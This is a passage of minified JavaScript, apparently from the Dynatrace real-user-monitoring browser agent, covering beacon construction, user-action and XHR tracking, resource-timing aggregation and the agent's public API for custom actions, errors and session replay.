return a}(),Pf,oh=[],qm=0,rn=navigator&&"sendBeacon"in navigator,um=[],rm,Rm=[],pn=0,si="-",xl=0,xm=0,ae,oj,Xg=[],Hf=0,Bl=0,lj=[],sb,eo=(sb={},sb.name="",sb.type="",sb.validUntil=0,sb.start=0,sb.target=void 0,sb.url="",sb.title="",sb.view=void 0,sb),zf,Rh,sm,ik,dg,yl,qn=-1,Sh,Ok=[],li,ej,rl,Pl,fo=(li={},li._csprv_=(ej={},ej.blockedURL=je,ej.documentURL=je,ej.referrer=je,ej.sourceFile=je,ej),li._customerror_=function(a,b){return Wd(a,b,!0)},li._vc_=(rl={},rl.VE=function(a,b){return b},rl),li._dj_=
function(a,b){return b},li._wv_=(Pl={},Pl.lcpU=je,Pl),li),dk=!0,go=function(){function a(){}a.prototype.zc=function(){return new Sn};a.prototype.kg=function(b,d){if(dk)return null;var f=this.zc();hc("bs")&&f.Y("bs","1",!1);ja(kg,this,b,d,f);return f.Kb?f:null};a.prototype.hf=function(b,d,f,l){f.Ya("isUnload",l?"1":"",!1);f.Ya("latC",ng("dtLatC"),!1);f.Ya("app",Xc("app"),!1);f.Y("vi",qi(),!1);f.Ya("dnt",W()?"1":"",!1);f.Y("fId",bg(),!1);l=gb();var r=gk;f.Y("v",l,!1);r!==l&&f.Y("iv",r,!1);b||(l=jk(),
this.av(f,"vID",l),this.ha(f)&&Ll()&&this.av(f,"nV","1"));!b&&d&&Dk()&&f.Y("nVAT","1",!1);b=f.Ya;d=encodeURIComponent;l=Gc;Gc=[];b.call(f,"vcr",d(l.join(",")))};a.prototype.nf=function(b){var d=Kg;d&&de&&(b.Y("responseCode",d.responseCode,!1),b.Ya("responseMessage",Hg(d.message),!1),Kg=void 0)};a.prototype.qd=function(b,d,f){void 0===b&&(b=!1);void 0===d&&(d=!1);void 0===f&&(f=!1);if(b){var l=[];for(var r="",G="",ea={nb:0},ya=0,ob=ge;ya<ob.length;ya++){var zb=ob[ya];var pb=zb;var Tb=ea;if(pb.bd(Tb.nb))var Hc=
pb=!0;else Tb.nb++,Hc=pb.bd(Tb.nb+pb.Ua),Hc||(Tb.nb+=pb.Ua),pb=!1;pb||(r||(r=zb.La()),G=zb.La(),zb.parentFrameActionName&&(pb=Ob,Tb=zb.pd,Tb=[0,zb.Kd,I(zb.parentFrameActionName),Tb].join("|"),pb(l,Tb)),Ob(l,zb.Mb(Hc)))}l={pc:l.join(","),referer:r,sourceUrl:G}}else l=mi(d,f);if(r=0<l.pc.length){G=this.zc();G.Y("a",Hg(l.pc),!0);Xc("domainOverride")&&(G.Y("dO",Xc("domainOverride"),!1),fh("domainOverride",""));hc("bs")&&G.Y("bs","1",!1);b&&G.Y("PV","1",!1);C().pageId!==bg()&&G.Y("pId",C().pageId,!1);
Vl&&G.Y("pFId",Vl,!1);G.Y("rId",Xc("rid"),!1);G.Y("rpId",Xc("rpid"),!1);if(!b){a:{ea=(ya=mb.performance)?ya.timing:!1;if(ya&&ea&&(ya=ea.domComplete,ea=ea.domContentLoadedEventEnd,ya||ea)){ea=ya?ya:ea;break a}ea=Rf}ea&&G.Y("domR",ea,!1);this.nf(G)}ne(f)&&G.Y("unload","xhr",!1);ja(kg,this,b,d,G);dk=!1}else G=this.kg(b,d);G&&(this.pf(l.sourceUrl,G),this.hf(b,r,G,f));return{beacon:G,referrer:l.referer}};a.prototype.pf=function(b,d){var f=O();d.Y("url",encodeURIComponent(f),!1);d.Y("title",Hg(Cb(U()).substring(0,
100)),!1);var l=d.zb("a");l=l&&("s"===l.charAt(0)||"d"===l.charAt(0));b&&b!==f&&!l&&d.Y("sUrl",encodeURIComponent(b),!1)};a.prototype.av=function(b,d,f,l,r){f="function"===typeof f?f():f;"undefined"!==typeof f&&null!==f&&""!==f&&b.Y(d+(r?r:""),f,l)};a.prototype.ha=function(b){return!!b.zb("a")};a.prototype.hla=function(b){return 0<=yc(b.zb("a"),"_load_")};a.prototype.ar=function(b,d){b.lf(d)};a.prototype.aBRL=function(b,d){b.jf(d)};a.prototype.rBRL=function(b,d){b.ng(d)};return a}(),sn=function(){for(var a,
b=[],d=0;256>d;d++){a=d;for(var f=0;8>f;f++)a=a&1?3988292384^a>>>1:a>>>1;b[d]=a}return b}(),mj=!1,Sm,Al,vg,tn,eg,Fh,yn=0,bn={u:"transferSize",v:"encodedBodySize",w:"decodedBodySize",L:"workerStart",M:"dtRpid",V:"dtSInfo",W:"dtTao"},am={x:"statuscode",y:"ip",A:"failedResource",C:"requestId",E:"relevance",F:"relevantArea",K:"isCritical",N:"vcIrrelevanceReason",O:"imageWidth",P:"imageHeight",Q:"imageNaturalWidth",R:"imageNaturalHeight",S:"onloadTime",T:"rtRequestId",U:"certExpDate"},cn={o:"domInteractive",
p:"domContentLoadedEventStart",q:"domContentLoadedEventEnd",r:"domComplete",s:"loadEventStart",t:"loadEventEnd"},ek={c:"redirectStart",d:"redirectEnd",e:"fetchStart",f:"domainLookupStart",g:"domainLookupEnd",h:"connectStart",i:"connectEnd",j:"secureConnectionStart",k:"requestStart",l:"responseStart",m:"responseEnd"},Pk=La(La(La({},ek),{n:"domLoading"}),cn),$l=La(La(La({},ek),cn),bn),Um=La(La(La({},ek),bn),am),Yg={},Zl=Math.pow(2,-52),Pn=["dtRpid","dtSInfo","dtTao","dtRequestID"],vm={unknown:0,xmlhttprequest:1,
fetch:2,beacon:3,iframe:4,frame:5,subdocument:6,img:7,image:8,css:9,svg:10,link:11,script:12,input:13,body:14,object:15,embed:16,source:17,audio:18,video:19,track:20,eventsource:21,other:22,icon:23},Vm={navigate:0,reload:1,back_forward:2,prerender:3},bm=!1,Jm=["_warning_","_error_","_log_","_rv_","_rs_"],qh=function(){function a(b,d,f,l,r,G,ea,ya,ob,zb,pb,Tb,Hc,zc,Ad,Zd,Pc){void 0===Hc&&(Hc={readyState:-1,status:-1});void 0===zc&&(zc=-1);this.start=b;this.stop=d;this.type=f;this.name=l;this.info=
r;this.domNodes=G;this.Fa=ea;this.title=ya;this.isCustomAction=zb;this.Ma=pb;this.nc=Hc;this.aa=Ad;this.ac=Pc;this.depth=1;this.Ca=this.ib=0;this.ra=-1;this.cc=this.Ua=0;this.jc=-1;this.$c="";this.subActions=[];this.sc=[];this.eb=[];this.errors=[];this.status=0;this.gb=[];this.jb=this.Xa=this.childFrameActions=0;this.J=!1;this.bb=0;this.xhrUrl="";this.Xc(ob);this.id=ke();this.Wc=Fh;this.ua(d);this.status=Tb?3:0;this.ma=0<=zc;this.Ca=Math.max(zc,0);Zd&&(this.na=Zd)}a.prototype.La=function(){return this.parent?
this.parent.La():this.Fa};a.prototype.ta=function(){return this.parent?this.parent.ta():this.id};a.prototype.ua=function(b){this.stop=b;Be=Math.max(Be,this.stop)};a.prototype.Sc=function(b,d){void 0===d&&(d=!1);(3!==this.status||d)&&b&&b.name&&(b.depth=this.depth+1,Ob(this.subActions,b),b.$b()&&(this.bb++,this.Ic(1)),b.parent=this,b.ma||this.hb(),b.Ca+=this.Ca,b.ib=this.ib+Number(b.ma))};a.prototype.Tc=function(){return 3===this.status&&!this.Pb()};a.prototype.close=function(b,d,f){var l,r;this.domNodes=
ph(mh("*"));this.start=d||this.start;d=!1;var G=this.start,ea=this.stop,ya=this.id,ob=this.bb;b&&(this.ua(Math.max(b,G,ea)),f&&(d=!0));if(ob)return this.status=1,!1;if(3===this.status)return!1;this.status=3;pc((l={},l.kind="ACTION_CLOSED",l.detail=(r={},r.s=ea,r.a=G,r.r=this.ta(),r.i=ya,r.f=!1,r.t=this.type,r.x=this.xhrUrl,r.dne=d,r.rt=void 0,r),l));return!0};a.prototype.Ac=function(){this.Ua--;this.parent&&this.parent.Ac()};a.prototype.Wb=function(b,d,f){var l=this;if(this.close(b,d,f)){var r=this.parent;
if(r){r.bb--;this.Cb()||r.Ac();var G=r.stop;r.ua(Math.max(this.stop,G));Zc(function(){l.Yd(r,G)},0);1===r.status&&r.Wb(b)}}};a.prototype.Yd=function(b,d){this.ma&&(ti(this.ra),b.stop===this.stop&&(b.stop=d),b.Ee(this),delete Ze.actions[this.id])};a.prototype.bd=function(b){return b+1>Tc("moa")&&!this.Cb()};a.prototype.ae=function(){var b=Fb(this.xhrUrl,"fetch"===this.info?"fetch":"xmlhttprequest",this.start,this.stop);return ua(b)?b:null};a.prototype.He=function(){var b=this.ae();if(!b||0>=b.startTime)return[];
ua(b)&&(b.rtRequestId=--yn,this.Hb=b);var d=["b",ef()+Math.round(b.startTime)];k(b,d,b.startTime);return d};a.prototype.Uc=function(){for(var b,d,f=this.start,l=this.stop,r=this.id,G=0,ea=this.subActions;G<ea.length;G++)ea[G].Uc();pc((b={},b.kind="ACTION_BEFORE_SEND",b.detail=(d={},d.s=l,d.a=f,d.i=r,d.r=this.ta(),d),b))};a.prototype.Qb=function(b){for(var d,f,l=this.start,r=this.stop,G=this.id,ea=this.type,ya=this.xhrUrl,ob=0,zb=this.subActions;ob<zb.length;ob++)zb[ob].Qb(b);pc((d={},d.kind="ACTION_SENT",
d.detail=(f={},f.s=r,f.a=l,f.r=this.ta(),f.i=G,f.f=b,f.t=ea,f.x=ya,f.rt=this.Hb,f),d));ti(this.ra);delete Ze.actions[this.id];this.J=!0};a.prototype.Db=function(){this.Ie=!0;Ac(this.subActions,function(b){b.Db()})};a.prototype.Pb=function(){return!!this.gb.length};a.prototype.Ue=function(){this.Va=this.start+1E4;this.kc=100;return this};a.prototype.af=function(){this.Ke=kc()};a.prototype.Qe=function(){this.Pc=kc()};a.prototype.We=function(){return!!this.Ke&&!this.Pc};a.prototype.$b=function(){return 1===
this.status||0===this.status};a.prototype.tb=function(){return(this.ma&&3===this.status||this.Ma&&!(0<this.cc))&&this.parent?this.parent.tb():this};a.prototype.Mb=function(b){var d=this.depth,f=this.sc,l=this.subActions;this.domNodes||(this.domNodes=ph(mh("*")));var r=[];Ac(f,function(G){Ob(r,Fe(G,d+1))});for(f=0;f<l.length&&!b;f++)Ob(r,l[f].Mb());r.unshift(this.Na());return r.join(",")};a.prototype.Na=function(){var b=this.stop,d=this.start,f=this.id,l=this.type,r=this.info,G=this.status,ea=this.name,
ya=[];ya[0]=String(this.depth);ya[1]=String(f);ya[2]=I(ea);ya[3]=I(l);ya[4]=I(r)||"-";ya[5]=String(d);ya[6]=String(3===G?b:0);b=0;for(d=this.be();b<d.length;b++)if(f=d[b],l=f[1])"string"===typeof l?l=I(l):l="boolean"===typeof l?String(Number(l)):String(l),ya.push(String(f[0]),l);return ya.join("|")};a.prototype.be=function(){var b=this.xhrUrl,d=this.jb,f=this.Xa,l=this.start,r=this.name,G=this.jc,ea=this.$c,ya=this.na,ob=this.Ag,zb=this.Wc,pb=this.eb.slice();pb.push(["dn",this.domNodes],["cfa",this.childFrameActions],
["xu",b],["ica",this.isCustomAction],["gn",this.aa]);var Tb=pb.push,Hc=Tb.apply;var zc=[];if(0!==Hf){var Ad=ae,Zd=Ad.name,Pc=Ad.timestamp;Ad=Ad.group;ya&&(ya.name!==Zd&&zc.push(["svn",ya.name]),ya.timestamp!==Pc&&zc.push(["svt",ya.timestamp]),ya.group&&ya.group!==Ad&&zc.push(["svg",ya.group]),zc.push(["svtrg",ya.trigger]),zc.push(["svm",ce(ya)]));ob&&(ob.name!==Zd&&zc.push(["tvn",ob.name]),ob.timestamp!==Pc&&zc.push(["tvt",ob.timestamp]),ob.group&&ob.group!==Ad&&zc.push(["tvg",ob.group]),zc.push(["tvtrg",
ob.trigger]),zc.push(["tvm",ce(ob)]))}Hc.call(Tb,pb,zc);b&&!hc("ntd")&&pb.push(["xrt",this.He().join("")]);"_load_"===r&&pb.push(["lr",document.referrer]);"0"!==zb&&pb.push(["bg",zb]);f&&d&&(pb.push(["xcs",f-l]),pb.push(["xce",d-l]));-1!==G&&pb.push(["rc",G]);ea&&pb.push(["rm",ea]);this.Hb&&this.stop<this.Hb.responseEnd&&this.ac&&pb.push(["sd",1]);return pb};a.prototype.$e=function(){return 3600001<=kc()-this.start?(this.Qb(!1),!0):!1};a.prototype.Xc=function(b){this.xhrUrl=gc(b)};a.prototype.hb=
function(){this.ma&&(this.ma=!1,this.ua(this.Pc||this.stop),this.Ca=this.ib=0,this.parent&&this.parent.hb())};a.prototype.Rc=function(b){this.hb();this.ua(Math.max(b.timestamp,this.stop));for(var d=this.parent;d;)d.ua(Math.max(d.stop,this.stop)),d=d.parent;Ob(this.sc,b)};a.prototype.Oe=function(){function b(f){void 0===f&&(f=-1);eb(d.gb,mf(d.gb,b));d.ua(Math.max(f,d.stop));d.Pb()||Cg()}var d=this;this.gb.push(b);return b};a.prototype.Ne=function(b,d){this.eb.push([b,d])};a.prototype.Ze=function(b){b>
this.stop&&3===this.status?this.Xa=-6:this.Xa=b};a.prototype.Ye=function(b){b>this.stop&&3===this.status?this.jb=-6:this.jb=b};a.prototype.Ic=function(b){this.Ua+=b;var d=3===this.status;d&&(this.status=1);this.parent&&(d&&(this.Cb()||b++,this.parent.bb++),this.parent.Ic(b))};a.prototype.Cb=function(){return-1!==mf(Jm,this.type)};a.prototype.Ee=function(b){for(var d=this.subActions,f=d.length-1;0<=f;f--)if(d[f]===b){eb(d,f);b.parent=void 0;break}};return a}(),sl,vf=[],$e=(sl={},sl.dtAWF=function(a,
b,d,f,l,r){f&&!Ie(f)?(vf.push({xhrUrl:wa(rc(l||"")),G:f,Hf:r||""}),a=a.apply(b,d||[]),"g"===r?Zc(function(){for(var G=0;G<vf.length;G++)if(vf[G].G===f){eb(vf,G);break}},0):vf.pop()):a=a.apply(b,d||[]);return a},sl),cm,Qi=null,Pi=null,te=[],sd=!1,Re=void 0,xd=void 0,Qc,Jg,Ij=!1,nk=!1,ym=!1,Ri=1,rh=null,ok=!1,Dl=!1,Rk=!1,pj,mk=!1,Sk=!1,Wm=-1,Sf,Jj=!1,dm=document,Xm=/function\s*([\w\-$]+)?\s*\(/i,wi=0;setInterval(function(){0<wi&&wi--},3E4);var un=["javaLong","date","shortString","javaDouble"],Qn=function(){function a(b){this.G=
b;this.Pd=[];this.Cd=[]}a.prototype.Od=function(b,d,f){var l=this.Mf();b=Ta({type:b,name:Ga(d+"="+f,Tc("mpl")),start:kc(),Za:!0});qc(b,l);Vc();Ob(this.Pd,{key:d,value:f})};a.prototype.Dd=function(b,d,f){b=De(b,f);Ob(this.Cd,{key:d,reason:b});a.qb++};a.prototype.Mf=function(){return this.G};a.prototype.Ed=function(){return this.Pd};a.prototype.Ec=function(){return this.Cd};a.prototype.Lf=function(){return rj(this,a.qb)};a.qb=0;return a}(),vh={},id=function(){function a(b,d,f,l){this.Cc=[];this.Qd=
[];this.Gd={};this.Bd={};this.Nd={};this.Fd={};this.xd=0;Yh(this,b,d,f,l)}a.prototype.Od=function(b,d,f){var l={};switch(b){case "_uapl_":l=this.Gd;break;case "_uapdbl_":l=this.Fd;break;case "_uaps_":l=this.Nd;break;case "_uapdt_":l=this.Bd}l[d]=f;this.xd++;Ob(this.Qd,{key:d,value:f})};a.prototype.Dd=function(b,d,f){b=De(b,f);Ob(this.Cc,{key:d,reason:b});a.qb++};a.prototype.Qf=function(){return 0<this.xd};a.prototype.Ed=function(){return this.Qd};a.prototype.Ec=function(){return this.Cc};a.prototype.Nf=
function(){for(var b=[],d=0,f=this.Cc;d<f.length;d++)Ob(b,f[d].key);return b};a.Of=function(b){var d=[],f;for(f in b)if(Ra(b,f)&&b[f]){var l=b[f];Ob(d,f+","+("string"===typeof l?I(l):l))}return d.join(";")};a.qb=0;return a}(),rd=null,he=void 0,zn=["c","o","i","s","y"],Tn=[0,1,2,3],dj=function(){function a(){}a.prototype.setAutomaticActionDetection=function(b){vc(b,"boolean")?(1<arguments.length&&wc(),tc("saad"),Ne(b)):Rc()};a.prototype.setLoadEndManually=function(){0<arguments.length&&wc();tc("slem");
mk=!0};a.prototype.signalLoadEnd=function(){0<arguments.length&&wc();tc("sle");pe()};a.prototype.markAsErrorPage=function(b,d){if(!vc(b,"number")||!vc(d,"string"))return Rc(),!1;2<arguments.length&&wc();tc("maep");return ui(b,d)};a.prototype.markXHRFailed=function(b,d,f){if(!vc(b,"number")||!vc(d,"string")||f&&!vc(f,"number"))return Rc(),!1;3<arguments.length&&wc();tc("mxf");return Fd(b,d,Number(f)||-1)};a.prototype.sendSignal=function(b,d,f){Tf("method","sendSignal",'Use "sendBeacon" instead.  We will remove "sendSignal" in June 2022.');
vc(b,"boolean")&&vc(d,"boolean")&&vc(f,"boolean")?(3<arguments.length&&wc(),tc("ss"),Cf(b,d,f)):Rc()};a.prototype.sendBeacon=function(b,d,f){vc(b,"boolean")&&vc(d,"boolean")&&vc(f,"boolean")?(3<arguments.length&&wc(),tc("ss"),Cf(b,d,f)):Rc()};a.prototype.enterAction=function(b,d,f,l){if(!vc(b,"string")||!Me(d,"string")||l&&!vc(l,"string"))return Rc(),2;d&&Tf("parameter","actionType","This is not used anymore and will be removed in June 2022.");5<arguments.length&&wc();tc("ea");var r=f;if(r){if(!Number(r))return Rc(),
2;r=wh(r)}return ud(b,d,Number(r),!1,void 0,void 0,!0,String(l))};a.prototype.addEnterActionListener=function(b){Fc(b)?(1<arguments.length&&wc(),tc("aeal"),$f(b)):Rc()};a.prototype.removeEnterActionListener=function(b){if(Fc(b)){1<arguments.length&&wc();tc("real");var d=b.dtWF;d&&wb("ACTION_ENTERED",d)}else Rc()};a.prototype.leaveAction=function(b,d,f){if(vc(b,"number")&&Me(d,"number")&&Me(f,"number")){3<arguments.length&&wc();tc("la");var l=f;l&&(l=wh(l));var r=d;r&&(r=wh(r));We(b,r,l)}else Rc()};
a.prototype.addLeaveActionListener=function(b){Fc(b)?(1<arguments.length&&wc(),tc("alal"),qf(b)):Rc()};a.prototype.removeLeaveActionListener=function(b){if(Fc(b)){1<arguments.length&&wc();tc("rlal");var d=b.dtWF;d&&wb("ACTION_LEFT",d)}else Rc()};a.prototype.addActionProperties=function(b,d,f,l,r){!vc(b,"number")||d&&!vc(d,"object")||f&&!vc(f,"object")||l&&!vc(l,"object")||r&&!vc(r,"object")?Rc():(5<arguments.length&&wc(),tc("aap"),uh(b,d,f,l,r))};a.prototype.reportError=function(b,d){("object"!==
typeof b&&"string"!==typeof b||null===b?0:"object"===typeof b&&"message"in b||"string"===typeof b)&&Me(d,"number")?(2<arguments.length&&wc(),tc("re"),Uk(b,d,!1,"0")):Rc()};a.prototype.identifyUser=function(b){vc(b,"string")?(1<arguments.length&&wc(),tc("iu"),Oc()?Qh()&&fg("navigator.doNotTrack is enabled on the browser"):nd("rx_visittag",b,-1)):Rc()};a.prototype.startThirdParty=function(b,d){Tf("method","startThirdParty","Since modern browsers already provide resource timings, including for third parties, we will remove this function in June 2022.");
if(Oj(b,zn)&&vc(d,"string")){1<arguments.length&&wc();tc("statp");var f=mb.dT_;f&&f.tpih&&f.tpstr(b,d)}else Rc()};a.prototype.stopThirdParty=function(b,d,f,l){Tf("method","stopThirdParty","Since modern browsers already provide resource timings, including for third parties, we will remove this function in June 2022.");if(!vc(b,"string")||!vc(d,"boolean")||f&&!vc(f,"number")||l&&!vc(l,"number"))Rc();else{4<arguments.length&&wc();tc("stotp");var r=C();r&&r.tpih&&r.tpsto(b,d,Number(f),Number(l))}};a.prototype.addPageLeavingListener=
function(b){Fc(b)?(1<arguments.length&&wc(),tc("apll"),rb("PAGE_LEAVING",function(d){b(d.detail)})):Rc()};a.prototype.beginUserInput=function(b,d,f,l){if(!Pa(b)&&!vc(b,"string")||!vc(d,"string")||!Me(f,"string")||!Me(l,"number"))return Rc(),{};4<arguments.length&&wc();tc("bui");return Ub(b,d,f,l)};a.prototype.endUserInput=function(b){("object"!==typeof b||null===b?0:"object"===typeof b&&"name"in b&&"info"in b&&"title"in b)?(1<arguments.length&&wc(),tc("eui"),dd(b)):Rc()};a.prototype.enterXhrAction=
function(b,d,f){if(!vc(b,"string")||!Oj(d,Tn)&&f&&!vc(f,"string"))return Rc(),-1;2===d&&Tf("parameter","xmode 2","Use 1 instead. All subactions are visible.");3<arguments.length&&wc();tc("exa");return bf(b,d||void 0,String(f),!0)};a.prototype.leaveXhrAction=function(b,d){if(vc(b,"number")&&Me(d,"number")){2<arguments.length&&wc();tc("lxa");var f=d;f&&(f=wh(d));Ed(b,void 0,void 0,f)}else Rc()};a.prototype.enterXhrCallback=function(b){vc(b,"number")?(1<arguments.length&&wc(),tc("exc"),mg(b)):Rc()};
a.prototype.leaveXhrCallback=function(b){vc(b,"number")?(1<arguments.length&&wc(),tc("lxc"),kh(b)):Rc()};a.prototype.signalOnLoadStart=function(){0<arguments.length&&wc();tc("sols");Od()};a.prototype.incrementOnLoadEndMarkers=function(){0<arguments.length&&wc();tc("iolem");td()};a.prototype.signalOnLoadEnd=function(){0<arguments.length&&wc();tc("sole");Dc()};a.prototype.actionName=function(b,d){if(!vc(b,"string")||d&&!vc(d,"number"))return Rc(),2;2<arguments.length&&wc();tc("an");return"string"!==
typeof b?2:d&&"number"!==typeof d?3:Xe("an",b,Number(d))?0:1};a.prototype.endSession=function(){0<arguments.length&&wc();tc("es");Mj()};a.prototype.now=function(){0<arguments.length&&wc();tc("n");return kc()};a.prototype.enable=function(){0<arguments.length&&wc();tc("e");Ml()};a.prototype.disable=function(){0<arguments.length&&wc();tc("d");nl()};a.prototype.addVisitTimeoutListener=function(b){Fc(b)?(1<arguments.length&&wc(),tc("avtl"),Ud(b)):Rc()};a.prototype.enableSessionReplay=function(b){if(vc(b,
"boolean")){1<arguments.length&&wc();tc("esr");var d=mb.dT_;d&&d.srel&&d.srel(b)}else Rc()};a.prototype.disableSessionReplay=function(){0<arguments.length&&wc();tc("dsr");var b=mb.dT_;b&&b.srel&&b.srdl()};a.prototype.getAndEvaluateMetaData=function(){0<arguments.length&&wc();tc("gaemd");var b=mb.dT_;return b&&b.gEMD?b.gEMD():[]};a.prototype.enablePersistentValues=function(){0<arguments.length&&wc();tc("epv");Em()};a.prototype.disablePersistentValues=function(b){vc(b,"boolean")?(1<arguments.length&&
wc(),tc("dpv"),Mh(b)):Rc()};a.prototype.registerPreDiffMethod=function(b){if(Fc(b)){1<arguments.length&&wc();tc("rpdm");var d=mb.dT_;d&&d.srel&&Ue(d.srpdm,0)&&d.srpdm.push(b)}else Rc()};a.prototype.sendSessionProperties=function(b,d,f,l){if(Me(b,"object")&&Me(d,"object")&&Me(f,"object")&&Me(l,"object"))return 4<arguments.length&&wc(),tc("ssp"),Wk(b,d,f,l);Rc()};a.prototype.reportCustomError=function(b,d,f,l){if(vc(b,"string")&&vc(d,"string")&&Me(f,"string")&&(Me(l,"number")||Me(l,"boolean")))if(4<
arguments.length&&wc(),tc("rce"),b&&d){var r=[["type",b],["name",d]];f&&r.push(["hint",String(f)]);ag("_customerror_",r,l)}else Qh()&&fg("Key or value is missing but mandatory for 'reportCustomError' method!");else Rc()};a.prototype.enableManualPageDetection=function(){0<arguments.length&&wc();tc("emvd");B(3)};a.prototype.setPage=function(b){if(!("object"!==typeof b||null===b?0:"object"===typeof b&&"name"in b&&"group"in b))return Rc(),-1;1<arguments.length&&wc();tc("sp");return Nj(b,3)};return a}(),
Bm=[],uk=-1,sj,Cm={},Pj,Yk=!1,sk=!!mb.MutationObserver,$k=mb.MutationObserver?mb.MutationObserver:void 0,gg={},em={},Xi={},tk=[],cl={},il="".concat(1).concat(","),Ym=[],hl=[],Yi={},hm,Jl,di,jf={},Wj=null,zk=[],gi,yg=0,ei=0,fi,zg,jl=[],kl,Bk,eh,im,Zm,ll=[],Yj=0,$m=["click","mousedown","keydown","touchstart"],Lh=0,Ci=0;(function(a){var b,d,f,l;a=a||0>(null===(b=navigator.userAgent)||void 0===b?void 0:b.indexOf("RuxitSynthetic"));if(!mb.dT_||!mb.dT_.ica)null===(d=mb.console)||void 0===d?void 0:d.log("No initCode available, turning off asyncCore."),
mb.dT_&&(mb.dT_.di=2);else if("initialized"in mb.dT_&&mb.dT_.initialized)null===(f=mb.console)||void 0===f?void 0:f.log("Duplicate agent injection detected, turning off redundant asyncCore."),mb.dT_.di=1;else if(a&&!jm()){try{delete mb.dT_}catch(r){mb.dT_=void 0}null===(l=mb.console)||void 0===l?void 0:l.log("JsAgent asyncCore initialization failed!")}})(!1)})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(q,D){void 0===D&&(D=[]);var t=la.dT_;t=(null===t||void 0===t?0:t.iIO)?t.iIO:null;return!(null===t||void 0===t||!t(q,D))}function La(q){return ua&&ra(q,13)&&"navigation"!==q.entryType||ra(q,["_dtCl"])}function gb(){ca.gSig&&(ka=-1,Za=0,I=!0)}function db(q,D){var t=D.domain;if(!t)return q;var y=q.Fe[t];y||(y=[],q.Fe[t]=y,q.Cf.push(t));y.push(D);return q}
function Ea(q,D){q.count++;var t=Number(q.low);q.low=Math.min(isNaN(t)?Number.MAX_VALUE:t,D);q.high=Math.max(q.high,D);q.Vb=Math.round((q.Vb*(q.count-1)+D)/q.count)}function Ua(q,D){var t=D.Sa,y=D.Fb,Y=D.type,x=D.Wa,oa=D.wb;D=D.$a;var R=q[Y];R||(R={Wa:0,$a:0,$d:0,wb:0,ze:Pa(),je:Pa()},q[Y]=R);if(t.start&&t.stop){Y=R.je;var O=t.start;t=t.stop;var wa=V();Ea(Y,t-O);Y.Zb.add(O-wa,t-wa)}if(y.start&&y.stop){t=R.ze;Y=y.start;O=y.stop;y=y.duration;0>y&&(y=O-Y);if(0>y||3E5<y)y=0;Ea(t,y);t.Zb.add(Y,O)}R.Wa+=
Number(x);R.wb+=Number(oa);x||(R.$a+=Number(D),R.$d+=Number(!D));q.bc=Math.max(q.bc,R.ze.high,R.je.high);return q}function Pa(){return{Zb:new Cb,Vb:0,high:0,count:0,kj:[]}}function za(){var q=ca;return q&&!!q.gIA&&q.re_t}function ab(q,D){q=Math.max(q.Sa.duration,q.Fb.duration);D=Math.max(D.Sa.duration,D.Fb.duration);return q<D?1:q===D?0:-1}function ba(q){for(var D=[],t=1;t<arguments.length;t++)D[t-1]=arguments[t];for(t=0;t<D.length;t++)q.push(D[t]),t<D.length-1&&q.push("|")}function Z(q){for(var D=
[],t=1;t<arguments.length;t++)D[t-1]=arguments[t];for(t=0;t<D.length;t++)q.push(D[t]),q.push("|")}function Aa(q,D,t,y){var Y=q;0<ka&&q.length>ka&&(q.sort(function(Eb,Lb){return t[Lb].bc-t[Eb].bc}),Y=q.slice(0,ka));q=[];for(var x=V(),oa=0;oa<Y.length;oa++){var R=Y[oa],O=t[R];0<q.length&&ba(q,";");Z(q,Ab(R),"featureHash");var wa=0,Ga=q.length-2,Wa=O.i;Wa&&(Z(q,Wa),wa+=2);if(Wa=O.s)Z(q,Wa),wa+=4;if(Wa=O.c)Z(q,Wa),wa+=8;if(Wa=O.o)Z(q,Wa),wa+=16;if(O=O.y)Z(q,O),wa+=32;q.pop();q[Ga]=wa.toString(32);na(D[R],
q,x)}return 0>=q.length?"":aa("".concat(y,"-").concat(x,";").concat(q.join("")))}function na(q,D,t){var y=Math.min(q.length,Za);q.sort(ab);for(var Y=0;Y<y&&(q[Y].Sa.duration>=Oa||q[Y].Fb.duration>=Oa);Y++){var x=q[Y],oa=x.Sa,R=x.url,O=x.Wa,wa=x.$a,Ga=x.type,Wa=x.Td;x=x.Fb;ba(D,",");var Eb="";O||(Eb=wa?"i":"f");ba(D,Ga+Eb,oa.start?oa.start-t:0,oa.stop?oa.stop-t:0,Ab(Wa),ib(R));x.start&&ba(D,"",x.start,x.stop)}}function ta(q,D,t,y){if(za()){var Y=V();if(!q.length||0>=Y)t&&t("");else{for(Y=0;Y<q.length;Y++)Ma(q[Y]);
y=y||!t;t=t||function(){};q=yb(q,db,{Cf:[],Fe:{}});Ja(q.Fe,q.Cf,t,D,y)}}}function Ma(q){var D=q.Sa;!D.stop&&D.start&&("i"===q.type?(q.$a=!0,q.Wa=!1,D.stop=Va()):(q.Fb.start||(q.Wa=!0),D.stop=D.start));D.duration=D.stop?D.stop-D.start:D.duration}function Ja(q,D,t,y,Y){var x={};qa(D,function(oa){for(var R=yb(q[oa],Ua,{ik:{type:"",$a:"",Aj:{start:0,stop:0},Wj:{start:0,stop:0},Td:"",url:""},bc:0}),O={bc:R.bc},wa=0,Ga=bd;wa<Ga.length;wa++){var Wa=Ga[wa],Eb=R[Wa];if(Eb){var Lb=Wa,Nb=Eb.je,ac=Eb.ze,rc=Eb.Wa,
mc=Eb.$d,Oc=Eb.$a;Eb=Eb.wb;Eb="i"===Wa||"s"===Wa?[rc,mc,Oc,Eb,Nb.count,ac.count,Nb.Zb.dd(),Nb.Vb,Nb.count?Nb.low:"0",Nb.high,ac.Zb.dd(),ac.Vb,ac.count?ac.low:"0",ac.high].join("|"):"o"===Wa||"c"===Wa?[rc,mc,Oc,Eb,ac.Zb.dd(),ac.Vb,ac.low||"0",ac.high].join("|"):[rc,Nb.Zb.dd(),Nb.Vb,Nb.low||"0",Nb.high].join("|");O[Lb]=Eb}}x[oa]=O},void 0,function(){t(Aa(D,q,x,y))},!Y)}function fa(q,D,t,y){var Y=ca;Y.gIA&&!D&&W.dT_.las()&&(Y.gIA()&&!t?W.dT_.sMPS(1E3):(ta(W.dT_.oV(Ka),gc(),function(x){q.av(y,"3p",x,
